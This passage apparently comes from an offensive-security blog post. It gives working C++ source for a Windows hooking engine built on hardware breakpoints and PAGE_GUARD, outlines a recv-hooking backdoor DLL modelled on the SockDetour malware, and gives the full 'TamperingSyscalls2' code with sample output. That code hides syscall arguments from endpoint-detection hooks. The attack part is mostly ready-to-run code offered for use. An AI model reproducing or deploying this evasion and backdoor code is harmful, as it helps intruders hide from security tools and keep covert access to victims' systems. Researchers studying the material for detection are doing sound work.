} PG_CALLBACK;

std::unordered_map<uintptr_t, PG_CALLBACK>	PG_ADDRESS_MAP{ 0 };

PG_ADDRESS_MAP[address].func = function;
```
To apply the debug register hooks to new threads, we can just copy the previous example
of hooking NtCreateThreadEx but remove the loops where we disable and restore the HWBPs
for our current thread.

We can introduce the second code example where we do the hook mentioned above of
NtCreateThreadEx with PAGE_GUARDs. As before, our deconstructor function will remove the
entry in our mapping and remove the protections (if set).

```c

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        DRPGG.cpp - @rad9800                          */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>

#include <tlhelp32.h>
#include <functional>    // std::function 


using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                            Structs                                   */
//////////////////////////////////////////////////////////////////////////////////////////
typedef struct {
    UINT                                        pos;
    EXCEPTION_FUNC                                func;
} HWBP_CALLBACK;

typedef struct {
    EXCEPTION_FUNC                                func;
} PG_CALLBACK;

typedef LONG(NTAPI* typeNtCreateThreadEx)(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN PVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN PVOID lpStartAddress,
    IN PVOID lpParameter,
    IN ULONG Flags,
    IN SIZE_T StackZeroBits,
    IN SIZE_T SizeOfStackCommit,
    IN SIZE_T SizeOfStackReserve,
    OUT PVOID lpBytesBuffer
    );

//////////////////////////////////////////////////////////////////////////////////////////
/*                                            Globals                                   */
//////////////////////////////////////////////////////////////////////////////////////////
// maintain our address -> lambda function mapping 
std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };
std::unordered_map<uintptr_t, PG_CALLBACK>    PG_ADDRESS_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                            Funcs                                     */
//////////////////////////////////////////////////////////////////////////////////////////
// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
    BYTE stub[]{ 0xC3 };
    for (unsigned int i = 0; i < (unsigned int)25; i++)
    {
        if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
            return (function + i);
        }
    }
    return NULL;
}

VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
    CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    GetThreadContext(thd, &context);

    if (init) {
        (&context.Dr0)[pos] = address;

        context.Dr7 &= ~(3ull << (16 + 4 * pos));
        context.Dr7 &= ~(3ull << (18 + 4 * pos));
        context.Dr7 |= 1ull << (2 * pos);
    }
    else {
        if ((&context.Dr0)[pos] == address) {
            context.Dr7 &= ~(1ull << (2 * pos));
            (&context.Dr0)[pos] = NULL;
        }
    }

    SetThreadContext(thd, &context);
}

VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
    const DWORD pid{ GetCurrentProcessId() };
    const HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
    if (h != INVALID_HANDLE_VALUE) {
        THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
        if (Thread32First(h, &te)) {
            do {
                if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
                    sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

                    const HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
                    if (thd != INVALID_HANDLE_VALUE) {
                        SetHWBP(thd, address, pos, init);
                        CloseHandle(thd);
                    }
                }
                te.dwSize = sizeof(te);
            } while (Thread32Next(h, &te));
        }
        CloseHandle(h);
    }
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Exception Handler                             */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
    DWORD old = 0;
    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_GUARD_PAGE_VIOLATION)
    {
        if (PG_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
            PG_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
        }
        ExceptionInfo->ContextRecord->EFlags |= (1 << 8);
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    else if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
    {
        if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
            HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
        for (const auto& i : PG_ADDRESS_MAP) {
            VirtualProtect((LPVOID)i.first, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);
            return EXCEPTION_CONTINUE_EXECUTION;
        }
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

DWORD WINAPI TestThread(LPVOID lpParameter)
{
    UNREFERENCED_PARAMETER(lpParameter);
    Sleep(500000);

    return 0;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                            Classes                                   */
//////////////////////////////////////////////////////////////////////////////////////////
template<typename HANDLER>
struct HWBP {
public:
    HWBP(const uintptr_t address, const UINT idx,
        const HANDLER function) : address{ address }, pos{ idx % 4 }
    {
        SetHWBPS(address, pos);

        HWBP_ADDRESS_MAP[address].func = function;
        HWBP_ADDRESS_MAP[address].pos = pos;
    };

    VOID RemoveHWBPS()
    {
        SetHWBPS(address, pos, false);
        HWBP_ADDRESS_MAP.erase(address);
    }

    ~HWBP()
    {
        RemoveHWBPS();
    }

private:
    const uintptr_t address;
    UINT            pos;
};


template<typename HANDLER>
struct PGBP {
public:
    PGBP(const uintptr_t address, const HANDLER function) : old{ 0 }, address{ address }
    {

        VirtualProtect((LPVOID)address, 1, PAGE_EXECUTE_READ | PAGE_GUARD, &old);

        PG_ADDRESS_MAP[address].func = function;
    }

    VOID RemovePGEntry()
    {
        VirtualProtect((LPVOID)address, 1, old, &old);
        PG_ADDRESS_MAP.erase(address);
    }

    ~PGBP()
    {
        RemovePGEntry();
    }
private:
    DWORD old;
    const uintptr_t address;
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Entry Point                                   */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
    const PVOID handler{ AddVectoredExceptionHandler(1, ExceptionHandler) };

    HWBP HWBPSleep{
        (uintptr_t)&Sleep,
        1,
        ([&](PEXCEPTION_POINTERS ExceptionInfo) {
            printf("Sleeping %lld\n", ExceptionInfo->ContextRecord->Rcx);
            ExceptionInfo->ContextRecord->Rcx = 0;
            ExceptionInfo->ContextRecord->EFlags |= (1 << 16);    // continue execution
    }) };


    PGBP VEHNtCreateThreadEx{
        (uintptr_t)GetProcAddress(
            GetModuleHandle(L"NTDLL.dll"),
            "NtCreateThreadEx"
        ),
    ([&](PEXCEPTION_POINTERS ExceptionInfo) {

            // create a new thread suspended
            LONG status = ((typeNtCreateThreadEx)ExceptionInfo->ContextRecord->Rip)(
                (PHANDLE)ExceptionInfo->ContextRecord->Rcx,
                (ACCESS_MASK)ExceptionInfo->ContextRecord->Rdx,
                (PVOID)ExceptionInfo->ContextRecord->R8,
                (HANDLE)ExceptionInfo->ContextRecord->R9,
                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28),
                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x30),
                (ULONG) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x38) | 0x1ull,
                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x40),
                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x48),
                (SIZE_T) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x50),
                (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x58)
            );

            CONTEXT context{ 0 };
            context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

            GetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
                &context);

            for (auto& i : HWBP_ADDRESS_MAP) {
                (&context.Dr0)[i.second.pos] = i.first;

                context.Dr7 &= ~(3ull << (16 + 4 * i.second.pos));
                context.Dr7 &= ~(3ull << (18 + 4 * i.second.pos));
                context.Dr7 |= 1ull << (2 * i.second.pos);
            }

            SetThreadContext((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx),
                &context);

            ResumeThread((HANDLE)(*(PULONG64)ExceptionInfo->ContextRecord->Rcx));

            ExceptionInfo->ContextRecord->Rax = status;

            ExceptionInfo->ContextRecord->Rip =
                FindRetAddr(ExceptionInfo->ContextRecord->Rip);
        }) };


    Sleep(1000000);

    for (unsigned int i = 0; i < 2; ++i) {
        HANDLE t = CreateThread(NULL, 0, TestThread, NULL, 0, NULL);
        if (t) WaitForSingleObject(t, INFINITE);
    }

    if (handler) RemoveVectoredExceptionHandler(handler);
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                            EOF                                       */
//////////////////////////////////////////////////////////////////////////////////////////
```
Having applied the theory to create a versatile hardware breakpoint hooking engine, we
will continue to use a mixture of debug registers and PAGE_GUARDs, as shown in our
previous examples, to implement a backdoor inspired by SockDetour [3] as a DLL in C++. We
will set a hardware breakpoint on the recv function to accomplish this and build the
required logic in the corresponding lambda. We will also apply a PAGE_GUARD to
NtCreateThreadEx and use our previous technique of creating the thread in a suspended
state to set the right debug registers.

Despite the sluggish nature of PAGE_GUARD hooks, this should not be an issue as long as
the server model does not create a new thread for every request, leading to subliminal
performance. Most networking server models maintain a pool of threads that are started
and initialized at the program's start. For more insight into these server models,
Microsoft provides a variety of examples on Github [4]; the IOCP example is an excellent
example of what a performant, scalable server model looks like for context.

The start of your backdoor could look like this:

HWBP recv_hook{ (uintptr_t)GetProcAddress((LoadLibrary(L"WS2_32.dll"),
	GetModuleHandle(L"WS2_32.dll")),"recv"), 3,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, false);
			}
		}

		char verbuf[9]{ 0 };
		int	verbuflen{ 9 }, recvlen{ 0 };

		recvlen = recv(ExceptionInfo->ContextRecord->Rcx, verbuf,
				   verbuflen, MSG_PEEK);

		BYTE TLS[] = { 0x17, 0x03, 0x03 };

		if (recvlen >= 3) {
			if ((memcmp(verbuf, TLS, 3) == 0))1
			{
				MSG_AUTH msg{ 0 };
				// We'll peek like SockDetour as to not eat the message
				recvlen = recv(ExceptionInfo->ContextRecord->Rcx, (char*)&msg,
					sizeof(MSG_AUTH), MSG_PEEK);
					// Authenticate and proceed

			}
		}

		// Set corresponding Dr
		for (auto& i : ADDRESS_MAP) {
			if (i.first == ExceptionInfo->ContextRecord->Rip) {
				SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
			}
		}

		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}) };


We will finish by implementing a generic x64 userland evasion technique inspired by
TamperingSyscalls, which utilizes a suitably modified version of the hardware breakpoint
the engine showed earlier to hide up to 12 of the arguments of up to ANY 4 Nt syscalls at 
ANY one time per thread. Note that I chose not to propagate the debug register content to 
all the threads, as this would likely be undesirable (if desired, replace SetHWBP with
SetHWBPS).

I need not describe why this would be desirable and super EPIC nor delve into userland
hooking as these are not the topics at hand or of concern, and they have been covered in
depth several times [5]. 

We create a new mapping using the (address | ThreadID) as a unique key, and the value is
a structure containing the function arguments. We will create a new entry in our mapping
on entering the syscall and clear out the values in the registers and stack. 

We use single-stepping (through the trap flag) to pretend that we have more debug 
registers than we actually have. We CAN do this, given we know when and where we need 
specific actions to occur. 

When we hit our desired syscall address, we restore our values from the hashmap entry
associated with our key. This will return the values on the stack in the registers. We
then continue to single step until the return instruction, where we will stop single
stepping and continue on! 

This ultimately allows us for typeless hooking. What is more, initially, we specified 
We will only hide 12 arguments, 4 from the registers and 8 from the stack. This "8" 
value is only arbitrary but recommended, and hiding or changing more values/arguments
on the stack may produce undesirable behaviour.

Our call stack should already originate from a suitable DLL, and thus you shouldn't need
to call the Native functions and can call a suitable wrapper from any DLL provided you 
call the constructor with the Native function address in NTDLL. 

This is trivial and can be achieved by changing the macro:
#define STK_ARGS 8		// 12 - 4 = 8 - should cover most Nt functions. 

In the example, we show it working with NtCreateThreadEx and NtCreateMutant! Make sure
you are only using the 4 debug registers individually per thread. Once you are done with
a specific function, you can free up the associated debug register by calling the
RemoveHWBPS method. 

1. If (addr == entry.first) this means we are the the mov r10, rcx instruction 
 - We store our arguments in our hashmap entry using the key (TID | address)

const auto key = (address + 0x12) | GetCurrentThreadId();

SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	SYSCALL_MAP[key].stk[idx] =
		*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
}
 - We then set these argument values to 0 (can be any other arbitrary value) 

ExceptionInfo->ContextRecord->Rcx = 0;
ExceptionInfo->ContextRecord->Rdx = 0;
ExceptionInfo->ContextRecord->R8 = 0;
ExceptionInfo->ContextRecord->R9 = 0;
// ...

 - We then set the Resume Flag in bit 16 and Trap Flag in bit 8
 - This will continue execution, as usual, only minimally affecting the performance. 
 
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag

2. Keep single stepping until (addr == entry.second.sysc) 
 - We are now at the syscall instruction and have gone past any userland hooks 
 - We restore our arguments using the previous (TID | address) lookup key. 
```c
auto const key = (address | GetCurrentThreadId());

// mov rcx, r10 
ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;	
ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

for (size_t idx = 0; idx < STK_ARGS; idx++)
{
	const size_t offset = idx * 0x8 + 0x28;
	*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
		SYSCALL_MAP[key].stk[idx];
}
```
 - We will single step again.
 
3. We are now at  (address == ai.return_addr)
 - We can now stop single stepping and only set the Resume Flag (not Trap Flag)
 - This will continue execution, as usual, only minimally affecting the performance. 

The previously described technique is implemented, focusing on hiding ALL arguments of 
the MAJORITY of Native syscalls! And so enjoy this elegant and straightforward solution 
where I provide the debug print statements, too, so you can see the changes being made to 
the stack and registers and the thought processes behind it all. 

```C
//////////////////////////////////////////////////////////////////////////////////////////
/*                              TamperingSyscalls2.cpp - @rad9800                       */
/*                 C++ Generic x64 user-land evasion technique utilizing HWBP.cpp       */
/*                      Hides up to 12 args of up to 4 NT calls per thread              */
//////////////////////////////////////////////////////////////////////////////////////////
#include <windows.h>

#include <tlhelp32.h>
#include <functional>

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Structs                                     */
//////////////////////////////////////////////////////////////////////////////////////////

						// 12 - 4 = 8 - should cover most Nt functions. 
#define STK_ARGS 8			// Increase this value, works until ~100...

typedef struct {
	uintptr_t									syscall_addr;	// +0x12
	uintptr_t									 return_addr;	// +0x14
} ADDRESS_INFORMATION;

typedef struct {
	uintptr_t			Rcx;	// First
	uintptr_t			Rdx;	// Second
	uintptr_t			R8;		// Third
	uintptr_t			R9;		// Fourth
	uintptr_t			stk[STK_ARGS];	// Stack args
} FUNC_ARGS;

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Macros                                      */
////////////////////////////////////////////////////////////////////////////////////////// 
#define PRINT_ARGS( State, ExceptionInfo )                              \
printf("%s %d arguments and stack for 0x%p || TID : 0x%x\n",            \
    State, (STK_ARGS + 4), (PVOID)address, GetCurrentThreadId());       \
printf("1:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rcx);       \
printf("2:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->Rdx);       \
printf("3:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R8);        \
printf("4:\t0x%p\n", (PVOID)(ExceptionInfo)->ContextRecord->R9);        \
for (UINT idx = 0; idx < STK_ARGS; idx++){                              \
    const size_t offset = idx * 0x8 + 0x28;                             \
    printf("%d:\t0x%p\n", (idx + 5), (PVOID)*(PULONG64)                 \
        ((ExceptionInfo)->ContextRecord->Rsp + offset));                \
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Globals                                     */
//////////////////////////////////////////////////////////////////////////////////////////
std::unordered_map<uintptr_t, ADDRESS_INFORMATION> ADDRESS_MAP{ 0 };
// syscall opcode { 0x55 } address, func args in registers and stack 
std::unordered_map<uintptr_t, FUNC_ARGS> SYSCALL_MAP{ 0 };

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Functions                                       */
//////////////////////////////////////////////////////////////////////////////////////////
VOID SetHWBP(const HANDLE thd, const uintptr_t address, const UINT pos, const bool init)
{
	CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
	GetThreadContext(thd, &context);

	if (init) {
		(&context.Dr0)[pos] = address;

		context.Dr7 &= ~(3ull << (16 + 4 * pos));
		context.Dr7 &= ~(3ull << (18 + 4 * pos));
		context.Dr7 |= 1ull << (2 * pos);
	}
	else {
		if ((&context.Dr0)[pos] == address) {
			context.Dr7 &= ~(1ull << (2 * pos));
			(&context.Dr0)[pos] = NULL;
		}
	}

	SetThreadContext(thd, &context);
}

// Find our ret ROP gadget (pointer decay so need explicit size)
uintptr_t FindRopAddress(const uintptr_t function, const BYTE* stub, const UINT size)
{
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{
		// memcmp WILL be optimized 
		if (memcmp((LPVOID)(function + i), stub, size) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

DWORD WINAPI TestThread(LPVOID lpParameter);

//////////////////////////////////////////////////////////////////////////////////////////
/*                                        Classes                                       */
//////////////////////////////////////////////////////////////////////////////////////////
struct TS2_HWBP {
private:
	const uintptr_t address;
	UINT			pos;
public:
	TS2_HWBP(const uintptr_t address, const UINT idx) : address{ address },
		pos{ idx % 4 }
	{
		SetHWBP(GetCurrentThread(), address, pos, true);

		BYTE syscop[] = { 0x0F, 0x05 };
		ADDRESS_MAP[address].syscall_addr =
			FindRopAddress(address, syscop, sizeof(syscop));
		BYTE retnop[] = { 0xC3 };
		ADDRESS_MAP[address].return_addr =
			FindRopAddress(address, retnop, sizeof(retnop));
	};

	VOID RemoveHWBPS()
	{
		SetHWBP(GetCurrentThread(), address, pos, false);
	}

	~TS2_HWBP()
	{
		RemoveHWBPS();
	}
};

//////////////////////////////////////////////////////////////////////////////////////////
/*                                      Exception Handler                               */
//////////////////////////////////////////////////////////////////////////////////////////
LONG WINAPI ExceptionHandler(const PEXCEPTION_POINTERS ExceptionInfo)
{
	const auto address = ExceptionInfo->ContextRecord->Rip;
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		for (const auto& [syscall_instr, ai] : ADDRESS_MAP)
		{
			// check we are inside valid syscall instructions
			if ((address >= syscall_instr) && (address <= ai.return_addr)) {
				printf("0x%p >= 0x%p\n", (PVOID)address, (PVOID)syscall_instr);
				printf("0x%p <= 0x%p\n", (PVOID)address, (PVOID)ai.return_addr);

				if (address == syscall_instr) // mov r10, rcx
				{
					const auto key = (address + 0x12) | GetCurrentThreadId();

					SYSCALL_MAP[key].Rcx = ExceptionInfo->ContextRecord->Rcx;
					SYSCALL_MAP[key].Rdx = ExceptionInfo->ContextRecord->Rdx;
					SYSCALL_MAP[key].R8 = ExceptionInfo->ContextRecord->R8;
					SYSCALL_MAP[key].R9 = ExceptionInfo->ContextRecord->R9;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						SYSCALL_MAP[key].stk[idx] =
							*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset);
					}

					PRINT_ARGS("HIDING", ExceptionInfo);

					ExceptionInfo->ContextRecord->Rcx = 0;
					ExceptionInfo->ContextRecord->Rdx = 0;
					ExceptionInfo->ContextRecord->R8 = 0;
					ExceptionInfo->ContextRecord->R9 = 0;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) = 0ull;
					}

					PRINT_ARGS("HIDDEN", ExceptionInfo);

					ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
				}
				else if (address == ai.syscall_addr)
				{
					auto const key = (address | GetCurrentThreadId());

					// SSN in ExceptionInfo->ContextRecord->Rax

					// mov rcx, r10 
					ExceptionInfo->ContextRecord->R10 = SYSCALL_MAP[key].Rcx;
					ExceptionInfo->ContextRecord->Rcx = SYSCALL_MAP[key].Rcx;
					ExceptionInfo->ContextRecord->Rdx = SYSCALL_MAP[key].Rdx;
					ExceptionInfo->ContextRecord->R8 = SYSCALL_MAP[key].R8;
					ExceptionInfo->ContextRecord->R9 = SYSCALL_MAP[key].R9;

					for (size_t idx = 0; idx < STK_ARGS; idx++)
					{
						const size_t offset = idx * 0x8 + 0x28;
						*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + offset) =
							SYSCALL_MAP[key].stk[idx];
					}

					PRINT_ARGS("RESTORED", ExceptionInfo);

					SYSCALL_MAP.erase(key);
				}
				else if (address == ai.return_addr)
				{
					ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Resume Flag
					return EXCEPTION_CONTINUE_EXECUTION;
				}
				ExceptionInfo->ContextRecord->EFlags |= (1 << 8);	// Trap Flag
				return EXCEPTION_CONTINUE_EXECUTION;
			}
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

//////////////////////////////////////////////////////////////////////////////////////////
/*                                          Entry                                       */
//////////////////////////////////////////////////////////////////////////////////////////
int main()
{
	const PVOID handler = AddVectoredExceptionHandler(1, ExceptionHandler);

	TS2_HWBP TS2NtCreateThreadEx{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateThreadEx")),
		0
	};

	for (unsigned int i = 0; i < 2; ++i) {
		HANDLE t = CreateThread(nullptr, 0, TestThread, nullptr, 0, nullptr);
		if (t) WaitForSingleObject(t, INFINITE);
	}

	TS2NtCreateThreadEx.RemoveHWBPS();

	if (handler != nullptr) RemoveVectoredExceptionHandler(handler);
}

DWORD WINAPI TestThread(LPVOID lpParameter)
{
	UNREFERENCED_PARAMETER(lpParameter);
	printf("\n----TestThread----\n\n");

	TS2_HWBP TS2NtCreateMutant{
		(uintptr_t)(GetProcAddress(GetModuleHandleW(L"NTDLL.dll"),
		"NtCreateMutant")),
		0
	};

	HANDLE m = CreateMutexA(NULL, TRUE, "rad98");
	if (m) CloseHandle(m);

	return 0;
}
//////////////////////////////////////////////////////////////////////////////////////////
/*                                          EOF                                         */
//////////////////////////////////////////////////////////////////////////////////////////
```

Here is an example output, showing the arguments for NtCreateThreadEx being hidden.
```
0x00007FFBDF485400 >= 0x00007FFBDF485400
0x00007FFBDF485400 <= 0x00007FFBDF485414
HIDING 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
HIDDEN 12 arguments and stack for 0x00007FFBDF485400 || TID : 0x9ecc
1:      0x0000000000000000
2:      0x0000000000000000
3:      0x0000000000000000
4:      0x0000000000000000
5:      0x0000000000000000
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x0000000000000000
12:     0x0000000000000000
0x00007FFBDF485403 >= 0x00007FFBDF485400
0x00007FFBDF485403 <= 0x00007FFBDF485414
0x00007FFBDF485408 >= 0x00007FFBDF485400
0x00007FFBDF485408 <= 0x00007FFBDF485414
0x00007FFBDF485410 >= 0x00007FFBDF485400
0x00007FFBDF485410 <= 0x00007FFBDF485414
0x00007FFBDF485412 >= 0x00007FFBDF485400
0x00007FFBDF485412 <= 0x00007FFBDF485414
RESTORED 12 arguments and stack for 0x00007FFBDF485412 || TID : 0x9ecc
1:      0x00000062618FF8D8
2:      0x00000000001FFFFF
3:      0x0000000000000000
4:      0xFFFFFFFFFFFFFFFF
5:      0x00007FF79FB01FA0
6:      0x0000000000000000
7:      0x0000000000000000
8:      0x0000000000000000
9:      0x0000000000000000
10:     0x0000000000000000
11:     0x00000062618FF9F0
12:     0x000001C700000000
0x00007FFBDF485414 >= 0x00007FFBDF485400
0x00007FFBDF485414 <= 0x00007FFBDF485414

----TestThread----
[...]
```

TamperingSyscalls2 (Black Mass) - https://godbolt.org/z/4qrM6j9q7

TamperingSyscalls2 (updated) - https://godbolt.org/z/edf9v1Wj6

TamperingSyscalls2 (pure C) - https://godbolt.org/z/9va7YzEe9

The code shared should work for most syscalls, though you should test before usage. The
the only major limitation in the works presented is a dependency on hashmaps 
(std::unordered_map); this internally will call various native functions indirectly, such 
as NtAllocateVirtualMemory, preventing us from hooking them. This can be repurposed to 
work with x86 with minimal effort. 

In the future, you could modify the libraries to utilize single stepping, as shown in the 
last example. You would need to know when you want to stop single-stepping (an address 
or range) and do it as such. This can also be used for the PAGE_GUARD hooking. 

You could also replace `AddVectoredExceptionHandler` with:
`SetUnhandledExceptionFilter(ExceptionHandler);`


References:

[1] [https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler](https://learn.microsoft.com/en-us/windows/win32/debug/using-a-vectored-exception-handler)

[2] [https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

[3] [https://unit42.paloaltonetworks.com/sockdetour/](https://unit42.paloaltonetworks.com/sockdetour/)

[4] [https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/](https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/netds/winsock/)

[5] [https://fool.ish.wtf/2022/08/tamperingsyscalls.html](https://fool.ish.wtf/2022/08/tamperingsyscalls.html)

[6] [https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs)

With all that, I look to ending on a positive note; I hope you have understood the RAW
UNMATCHED power of hardware breakpoints!!! 

Greetz to jonas, hjonk, smelly, mez0, and the other geezers ;) 

```
                                                        .                                 
                                                        ~.          .                     
                                                        !~        :^.                     
                                                       ^77^    :~!7:                      
                                                     .~!^.     ~7!!                       
                                                    :!:       :7^.                        
                                                   ~!.       ~!     ...:^~.               
                                                  !7.      .!^      !!!~:                 
                                                 ~7.      ^7:      .7~.                   
        .:^::.                                  .7!      !!        !~                     
     ....:::^~!~.                                !!:   .7^       .!^                      
             .:^~:.                              :!!:.^!.      .~7.                       
               ~^^~?^.                             :!!!~:::::^~7~                         
               .^:~!7!^.                           ^7^:^~~~~~^:                           
                 :^~^:~7~.                       .77~                                     
                 :~~:^^~~!!:                    :~~.                -your mate     
				 .!7~:::~!~~!!^                 .!^.       ^^.       		rad   
                !?^^.::^~~~777!~.             ^7.           .^~^:                         
              ^??~^:.:::^~~~!!~!7!!^.       .!!               .~98.            ...^~~~^:  
          .~7JJ~:^::::::^~~^~~!!~!7JY?^.:...::           ::    .~?5:        .?G5Y7!:      
    .:^7JJ777^^~~~~~^^^:^!~~~!7???J7~:^^::....           ...  . ^!7.^:.:~  JBYJ~.         
 .^?5J!~^~~~^^^:::^~~~~~^~~~~!!77??:.^::::....~^::...   .: ::~7!.:~^^::^^ ?B7:: .....     
~^^~!!!^^~~!!77777~~~~!~!!777????!::..:.. . .^~!!77~~!~^~^ .:. ...^~:  . !B7. ~~::.       
:.    .^!?7:::^^^!!7??J?7!!!!7?7:::.  ... .^!77!~^:~!!~:~.       ..:     J?   ...      .^~
        .^!J:^~^^:::^~7?YYYJ7!!..:.  :^^^~77?777!~::^^  .    . .......  ..   .. ...:~~~!!~
         .~~?:^^^^:^^^~^^~!7!~7!:. .^:^777!7??7!!!^:~:   .   .  ....::.....    .^~~~^^~^~^
          ^^7^^!~^^~^^~~~:.:..^!~:^^:~7??7????7!!~^:~:   .   ... ..........   .~J?7!~~^^^^
          .~!~^!^^^^^~^..:~^....:~~.^!7JYY5YJJ?77!:.^~   ..   .:..~..  ....   :5Y?7777~~~^
          :~7^^~^^~~~:..::^^:. :!^..:~!!!77???JJ?!^~~!!:.      .^::::.::^..: .~J?7~~^^^^^^
          ~!!.^~!!!^.::::...  ^~:..~7JJJ??777!~!!!!!~~~^.      .......^^^ ...!J?77!!77?7!~
         ^7!::~!!^:..:^::.. .~^...^~!77????77!~~~~^^!?!~.  .  ..  .::..:.  .^~7Y5YYYJ???!!
        ^?7::^^~!. :::::.  :~: ...    .....::::^^^~!!!^.     ....:!?~!7!. .^..:?5YYJ?777!!
